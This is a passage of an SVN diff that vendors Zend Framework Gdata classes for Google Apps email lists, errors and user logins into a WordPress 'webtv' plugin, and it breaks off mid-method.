+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_who !== null) {
+            $element->appendChild($this->_who->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gd') . ':' . 'who';
+                $who = new Zend_Gdata_Extension_Who();
+                $who->transferFromDOM($child);
+                $this->_who = $who;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the value of the who property for this object.
+     *
+     * @see setWho
+     * @return Zend_Gdata_Extension_Who The requested object.
+     */
+    public function getWho()
+    {
+        return $this->_who;
+    }
+
+    /**
+     * Set the value of the who property for this object. This property
+     * is used to store the email address of the current recipient.
+     *
+     * @param Zend_Gdata_Extension_Who $value The desired value for this
+     *          instance's who property.
+     * @return Zend_Gdata_Gapps_EventEntry Provides a fluent interface.
+     */
+    public function setWho($value)
+    {
+        $this->_who = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListRecipientFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListRecipientFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListRecipientFeed.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Gapps_EmailListRecipientEntry
+ */
+require_once 'Zend/Gdata/Gapps/EmailListRecipientEntry.php';
+
+/**
+ * Data model for a collection of Google Apps email list recipient entries, 
+ * usually provided by the Google Apps servers.
+ * 
+ * For information on requesting this feed from a server, see the Google 
+ * Apps service class, Zend_Gdata_Gapps.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_EmailListRecipientFeed extends Zend_Gdata_Feed
+{
+    
+    protected $_entryClassName = 'Zend_Gdata_Gapps_EmailListRecipientEntry';
+    protected $_feedClassName = 'Zend_Gdata_Gapps_EmailListRecipientFeed';
+    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListRecipientQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListRecipientQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListRecipientQuery.php	(revision 44)
@@ -0,0 +1,152 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gapps_Query
+ */
+require_once('Zend/Gdata/Gapps/Query.php');
+
+/**
+ * Assists in constructing queries for Google Apps email list recipient 
+ * entries. Instances of this class can be provided in many places where a 
+ * URL is required.
+ * 
+ * For information on submitting queries to a server, see the Google Apps
+ * service class, Zend_Gdata_Gapps.
+ * 
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_EmailListRecipientQuery extends Zend_Gdata_Gapps_Query
+{
+    
+    /**
+     * If not null, specifies the name of the email list which 
+     * should be requested by this query.
+     * 
+     * @var string
+     */
+    protected $_emailListName = null;
+
+    /**
+     * Create a new instance.
+     * 
+     * @param string $domain (optional) The Google Apps-hosted domain to use 
+     *          when constructing query URIs.
+     * @param string $emailListName (optional) Value for the emailListName 
+     *          property.
+     * @param string $startRecipient (optional) Value for the 
+     *          startRecipient property.
+     */
+    public function __construct($domain = null, $emailListName = null,
+            $startRecipient = null)
+    {
+        parent::__construct($domain);
+        $this->setEmailListName($emailListName);
+        $this->setStartRecipient($startRecipient);
+    }
+    
+    /**
+     * Set the email list name to query for. When set, only lists with a name 
+     * matching this value will be returned in search results. Set to 
+     * null to disable filtering by list name.
+     * 
+     * @param string $value The email list name to filter search results by, 
+     *          or null to disable.
+     */
+     public function setEmailListName($value)
+     {
+         $this->_emailListName = $value;
+     }
+
+    /**
+     * Get the email list name to query for. If no name is set, null will be 
+     * returned.
+     * 
+     * @param string $value The email list name to filter search results by, 
+     *          or null if disabled.
+     */
+    public function getEmailListName()
+    {
+        return $this->_emailListName;
+    }
+
+    /**
+     * Set the first recipient which should be displayed when retrieving 
+     * a list of email list recipients.
+     * 
+     * @param string $value The first recipient to be returned, or null to 
+     *              disable.
+     */
+    public function setStartRecipient($value)
+    {
+        if ($value !== null) {
+            $this->_params['startRecipient'] = $value;
+        } else {
+            unset($this->_params['startRecipient']);
+        }
+    }
+
+    /**
+     * Get the first recipient which should be displayed when retrieving 
+     * a list of email list recipients.
+     * 
+     * @return string The first recipient to be returned, or null if 
+     *              disabled.
+     */
+    public function getStartRecipient()
+    {
+        if (array_key_exists('startRecipient', $this->_params)) {
+            return $this->_params['startRecipient'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Returns the URL generated for this query, based on it's current 
+     * parameters.
+     * 
+     * @return string A URL generated based on the state of this query.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function getQueryUrl()
+    {
+        
+        $uri = $this->getBaseUrl();
+        $uri .= Zend_Gdata_Gapps::APPS_EMAIL_LIST_PATH;
+        if ($this->_emailListName !== null) {
+            $uri .= '/' . $this->_emailListName;
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'EmailListName must not be null');
+        }
+        $uri .= Zend_Gdata_Gapps::APPS_EMAIL_LIST_RECIPIENT_POSTFIX . '/';
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Error.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Error.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Error.php	(revision 44)
@@ -0,0 +1,232 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+
+/**
+ * Zend_Gdata_App_Base
+ */
+require_once 'Zend/Gdata/App/Base.php';
+
+/**
+ * Gdata Gapps Error class. This class is used to represent errors returned  
+ * within an AppsForYourDomainErrors message received from the Google Apps 
+ * servers.
+ *
+ * Several different errors may be represented by this class, determined by 
+ * the error code returned by the server. For a list of error codes 
+ * available at the time of this writing, see getErrorCode.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_Error extends Zend_Gdata_App_Base
+{
+    
+    // Error codes as defined at 
+    // http://code.google.com/apis/apps/gdata_provisioning_api_v2.0_reference.html#appendix_d
+    
+    const UNKNOWN_ERROR = 1000;
+    const USER_DELETED_RECENTLY = 1100;
+    const USER_SUSPENDED = 1101;
+    const DOMAIN_USER_LIMIT_EXCEEDED = 1200;
+    const DOMAIN_ALIAS_LIMIT_EXCEEDED = 1201;
+    const DOMAIN_SUSPENDED = 1202;
+    const DOMAIN_FEATURE_UNAVAILABLE = 1203;
+    const ENTITY_EXISTS = 1300;
+    const ENTITY_DOES_NOT_EXIST = 1301;
+    const ENTITY_NAME_IS_RESERVED = 1302;
+    const ENTITY_NAME_NOT_VALID = 1303;
+    const INVALID_GIVEN_NAME = 1400;
+    const INVALID_FAMILY_NAME = 1401;
+    const INVALID_PASSWORD = 1402;
+    const INVALID_USERNAME = 1403;
+    const INVALID_HASH_FUNCTION_NAME = 1404;
+    const INVALID_HASH_DIGEST_LENGTH = 1405;
+    const INVALID_EMAIL_ADDRESS = 1406;
+    const INVALID_QUERY_PARAMETER_VALUE = 1407;
+    const TOO_MANY_RECIPIENTS_ON_EMAIL_LIST = 1500;
+    
+    protected $_errorCode = null;
+    protected $_reason = null;
+    protected $_invalidInput = null;
+    
+    public function __construct($errorCode = null, $reason = null, 
+            $invalidInput = null) {
+        parent::__construct("Google Apps error received: $errorCode ($reason)");
+        $this->_errorCode = $errorCode;
+        $this->_reason = $reason;
+        $this->_invalidInput = $invalidInput;
+    }
+    
+    /**
+     * Set the error code for this exception. For more information about 
+     * error codes, see getErrorCode.
+     * 
+     * @see getErrorCode
+     * @param integer $value The new value for the error code.
+     */
+    public function setErrorCode($value) {
+       $this->_errorCode = $value;
+    }
+    
+    /** 
+     * Get the error code for this exception. Currently valid values are 
+     * available as constants within this class. These values are:
+     * 
+     *   UNKNOWN_ERROR (1000)
+     *   USER_DELETED_RECENTLY (1100)
+     *   USER_SUSPENDED (1101)
+     *   DOMAIN_USER_LIMIT_EXCEEDED (1200)
+     *   DOMAIN_ALIAS_LIMIT_EXCEEDED (1201)
+     *   DOMAIN_SUSPENDED (1202)
+     *   DOMAIN_FEATURE_UNAVAILABLE (1203)
+     *   ENTITY_EXISTS (1300)
+     *   ENTITY_DOES_NOT_EXIST (1301)
+     *   ENTITY_NAME_IS_RESERVED (1302)
+     *   ENTITY_NAME_NOT_VALID (1303)
+     *   INVALID_GIVEN_NAME (1400)
+     *   INVALID_FAMILY_NAME (1401)
+     *   INVALID_PASSWORD (1402)
+     *   INVALID_USERNAME (1403)
+     *   INVALID_HASH_FUNCTION_NAME (1404)
+     *   INVALID_HASH_DIGEST_LENGTH (1405)
+     *   INVALID_EMAIL_ADDRESS (1406)
+     *   INVALID_QUERY_PARAMETER_VALUE (1407)
+     *   TOO_MANY_RECIPIENTS_ON_EMAIL_LIST (1500)
+     * 
+     * Numbers in parenthesis indicate the actual integer value of the 
+     * constant. This list should not be treated as exhaustive, as additional 
+     * error codes may be added at any time.
+     * 
+     * For more information about these codes and their meaning, please 
+     * see Appendix D of the Google Apps Provisioning API Reference.
+     * 
+     * @link http://code.google.com/apis/apps/gdata_provisioning_api_v2.0_reference.html#appendix_d Google Apps Provisioning API Reference: Appendix D - Gdata Error Codes
+     * @see setErrorCode
+     * @return integer The error code returned by the Google Apps server.
+     */
+    public function getErrorCode() {
+        return $this->_errorCode;
+    }
+    
+    /**
+     * Set human-readable text describing the reason this exception occurred.
+     * 
+     * @see getReason
+     * @param string $value The reason this exception occurred.
+     */
+    public function setReason($value) {
+       $this->_reason = $value;
+    }
+    
+    /**
+     * Get human-readable text describing the reason this exception occurred.
+     * 
+     * @see setReason
+     * @return string The reason this exception occurred.
+     */
+    public function getReason() {
+       return $this->_reason;
+    }
+
+    /**
+     * Set the invalid input which caused this exception.
+     * 
+     * @see getInvalidInput
+     * @param string $value The invalid input that triggered this exception.
+     */
+    public function setInvalidInput($value) {
+       $this->_invalidInput = $value;
+    }
+    
+    /**
+     * Set the invalid input which caused this exception.
+     * 
+     * @see setInvalidInput
+     * @return string The reason this exception occurred.
+     */
+    public function getInvalidInput() {
+       return $this->_invalidInput;
+    }
+    
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_errorCode !== null) {
+            $element->setAttribute('errorCode', $this->_errorCode);
+        }
+        if ($this->_reason !== null) {
+            $element->setAttribute('reason', $this->_reason);
+        }
+        if ($this->_invalidInput !== null) {
+            $element->setAttribute('invalidInput', $this->_invalidInput);
+        }
+        return $element;
+    }
+    
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'errorCode':
+            $this->_errorCode = $attribute->nodeValue;
+            break;
+        case 'reason':
+            $this->_reason = $attribute->nodeValue;
+            break;
+        case 'invalidInput':
+            $this->_invalidInput = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+    
+    /**
+     * Get a human readable version of this exception.
+     * 
+     * @return string
+     */
+    public function __toString() {
+        return "Error " . $this->getErrorCode() . ": " . $this->getReason() .
+            "\n\tInvalid Input: \"" . $this->getInvalidInput() . "\"";
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/EmailList.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/EmailList.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/EmailList.php	(revision 44)
@@ -0,0 +1,143 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Gapps
+ */
+require_once 'Zend/Gdata/Gapps.php';
+
+/**
+ * Represents the apps:emailList element used by the Apps data API. This
+ * class represents properties of an email list and is usually contained
+ * within an instance of Zend_Gdata_Gapps_EmailListEntry.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_Extension_EmailList extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'apps';
+    protected $_rootElement = 'emailList';
+
+    /**
+     * The name of the email list. This name is used as the email address
+     * for this list.
+     *
+     * @var string
+     */
+    protected $_name = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Gapps_Extension_EmailList object.
+     *
+     * @param string $name (optional) The name to be used for this email list.
+     */
+    public function __construct($name = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gapps::$namespaces);
+        parent::__construct();
+        $this->_name = $name;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_name !== null) {
+            $element->setAttribute('name', $this->_name);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'name':
+            $this->_name = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's name attribute.
+     *
+     * @see setName
+     * @return string The requested attribute.
+     */
+    public function getName()
+    {
+        return $this->_name;
+    }
+
+    /**
+     * Set the value for this element's name attribute. This is the unique
+     * name which will be used to identify this email list within this
+     * domain, and will be used to form this email list's email address.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_EmailList The element being modified.
+     */
+    public function setName($value)
+    {
+        $this->_name = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     *
+     * @return string
+     */
+    public function __toString()
+    {
+        return $this->getName();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Login.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Login.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Login.php	(revision 44)
@@ -0,0 +1,484 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Gapps
+ */
+require_once 'Zend/Gdata/Gapps.php';
+
+/**
+ * Represents the apps:login element used by the Apps data API. This
+ * class is used to describe properties of a user, and is usually contained
+ * within instances of Zene_Gdata_Gapps_UserEntry or any other class
+ * which is linked to a particular username.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_Extension_Login extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'apps';
+    protected $_rootElement = 'login';
+
+    /**
+     * The username for this user. This is used as the user's email address
+     * and when logging in to Google Apps-hosted services.
+     *
+     * @var string
+     */
+    protected $_username = null;
+
+    /**
+     * The password for the user. May be in cleartext or as an SHA-1
+     * digest, depending on the value of _hashFunctionName.
+     *
+     * @var string
+     */
+    protected $_password = null;
+
+    /**
+     * Specifies whether the password stored in _password is in cleartext
+     * or is an SHA-1 digest of a password. If the password is cleartext,
+     * then this should be null. If the password is an SHA-1 digest, then
+     * this should be set to 'SHA-1'.
+     *
+     * At the time of writing, no other hash functions are supported
+     *
+     * @var string
+     */
+    protected $_hashFunctionName = null;
+
+    /**
+     * True if the user has administrative rights for this domain, false
+     * otherwise.
+     *
+     * @var boolean
+     */
+    protected $_admin = null;
+
+    /**
+     * True if the user has agreed to the terms of service for Google Apps,
+     * false otherwise.
+     *
+     * @var boolean.
+     */
+    protected $_agreedToTerms = null;
+
+    /**
+     * True if this user has been suspended, false otherwise.
+     *
+     * @var boolean
+     */
+    protected $_suspended = null;
+
+    /**
+     * True if the user will be required to change their password at
+     * their next login, false otherwise.
+     *
+     * @var boolean
+     */
+    protected $_changePasswordAtNextLogin = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Gapps_Extension_Login object.
+     *
+     * @param string $username (optional) The username to be used for this
+     *          login.
+     * @param string $password (optional) The password to be used for this
+     *          login.
+     * @param string $hashFunctionName (optional) The name of the hash
+     *          function used to protect the password, or null if no
+     *          has function has been applied. As of this writing,
+     *          the only valid values are 'SHA-1' or null.
+     * @param boolean $admin (optional) Whether the user is an administrator
+     *          or not.
+     * @param boolean $suspended (optional) Whether this login is suspended or not.
+     * @param boolean $changePasswordAtNextLogin (optional) Whether
+     *          the user is required to change their password at their
+     *          next login.
+     * @param boolean $agreedToTerms (optional) Whether the user has
+     *          agreed to the terms of service.
+     */
+    public function __construct($username = null, $password = null,
+        $hashFunctionName = null, $admin = null, $suspended = null,
+        $changePasswordAtNextLogin = null, $agreedToTerms = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gapps::$namespaces);
+        parent::__construct();
+        $this->_username = $username;
+        $this->_password = $password;
+        $this->_hashFunctionName = $hashFunctionName;
+        $this->_admin = $admin;
+        $this->_agreedToTerms = $agreedToTerms;
+        $this->_suspended = $suspended;
+        $this->_changePasswordAtNextLogin = $changePasswordAtNextLogin;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_username !== null) {
+            $element->setAttribute('userName', $this->_username);
+        }
+        if ($this->_password !== null) {
+            $element->setAttribute('password', $this->_password);
+        }
+        if ($this->_hashFunctionName !== null) {
+            $element->setAttribute('hashFunctionName', $this->_hashFunctionName);
+        }
+        if ($this->_admin !== null) {
+            $element->setAttribute('admin', ($this->_admin ? "true" : "false"));
+        }
+        if ($this->_agreedToTerms !== null) {
+            $element->setAttribute('agreedToTerms', ($this->_agreedToTerms ? "true" : "false"));
+        }
+        if ($this->_suspended !== null) {
+            $element->setAttribute('suspended', ($this->_suspended ? "true" : "false"));
+        }
+        if ($this->_changePasswordAtNextLogin !== null) {
+            $element->setAttribute('changePasswordAtNextLogin', ($this->_changePasswordAtNextLogin ? "true" : "false"));
+        }
+
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'userName':
+            $this->_username = $attribute->nodeValue;
+            break;
+        case 'password':
+            $this->_password = $attribute->nodeValue;
+            break;
+        case 'hashFunctionName':
+            $this->_hashFunctionName = $attribute->nodeValue;
+            break;
+        case 'admin':
+            if ($attribute->nodeValue == "true") {
+                $this->_admin = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_admin = false;
+            }
+            else {
+                require_once('Zend/Gdata/App/InvalidArgumentException.php');
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for apps:login#admin.");
+            }
+            break;
+        case 'agreedToTerms':
+            if ($attribute->nodeValue == "true") {
+                $this->_agreedToTerms = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_agreedToTerms = false;
+            }
+            else {
+                require_once('Zend/Gdata/App/InvalidArgumentException.php');
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for apps:login#agreedToTerms.");
+            }
+            break;
+        case 'suspended':
+            if ($attribute->nodeValue == "true") {
+                $this->_suspended = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_suspended = false;
+            }
+            else {
+                require_once('Zend/Gdata/App/InvalidArgumentException.php');
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for apps:login#suspended.");
+            }
+            break;
+        case 'changePasswordAtNextLogin':
+            if ($attribute->nodeValue == "true") {
+                $this->_changePasswordAtNextLogin = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_changePasswordAtNextLogin = false;
+            }
+            else {
+                require_once('Zend/Gdata/App/InvalidArgumentException.php');
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for apps:login#changePasswordAtNextLogin.");
+            }
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's username attribute.
+     *
+     * @see setUsername
+     * @return string The attribute being modified.
+     */
+    public function getUsername()
+    {
+        return $this->_username;
+    }
+
+    /**
+     * Set the value for this element's username attribute. This string
+     * is used to uniquely identify the user in this domian and is used
+     * to form this user's email address.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Login Provides a fluent interface.
+     */
+    public function setUsername($value)
+    {
+        $this->_username = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's password attribute.
+     *
+     * @see setPassword
+     * @return string The requested attribute.
+     */
+    public function getPassword()
+    {
+        return $this->_password;
+    }
+
+    /**
+     * Set the value for this element's password attribute. As of this
+     * writing, this can be either be provided as plaintext or hashed using
+     * the SHA-1 algorithm for protection. If using a hash function,
+     * this must be indicated by calling setHashFunctionName().
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Login Provides a fluent interface.
+     */
+    public function setPassword($value)
+    {
+        $this->_password = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's hashFunctionName attribute.
+     *
+     * @see setHashFunctionName
+     * @return string The requested attribute.
+     */
+    public function getHashFunctionName()
+    {
+        return $this->_hashFunctionName;
+    }
+
+    /**
+     * Set the value for this element's hashFunctionName attribute. This
+     * indicates whether the password supplied with setPassword() is in
+     * plaintext or has had a hash function applied to it. If null,
+     * plaintext is assumed. As of this writing, the only valid hash
+     * function is 'SHA-1'.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Login Provides a fluent interface.
+     */
+    public function setHashFunctionName($value)
+    {
+        $this->_hashFunctionName = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's admin attribute.
+     *
+     * @see setAdmin
+     * @return boolean The requested attribute.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function getAdmin()
+    {
+        if (!(is_bool($this->_admin))) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException('Expected boolean for admin.');
+        }
+        return $this->_admin;
+    }
+
+    /**
+     * Set the value for this element's admin attribute. This indicates
+     * whether this user is an administrator for this domain.
+     *
+     * @param boolean $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Login Provides a fluent interface.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setAdmin($value)
+    {
+        if (!(is_bool($value))) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException('Expected boolean for $value.');
+        }
+        $this->_admin = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's agreedToTerms attribute.
+     *
+     * @see setAgreedToTerms
+     * @return boolean The requested attribute.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function getAgreedToTerms()
+    {
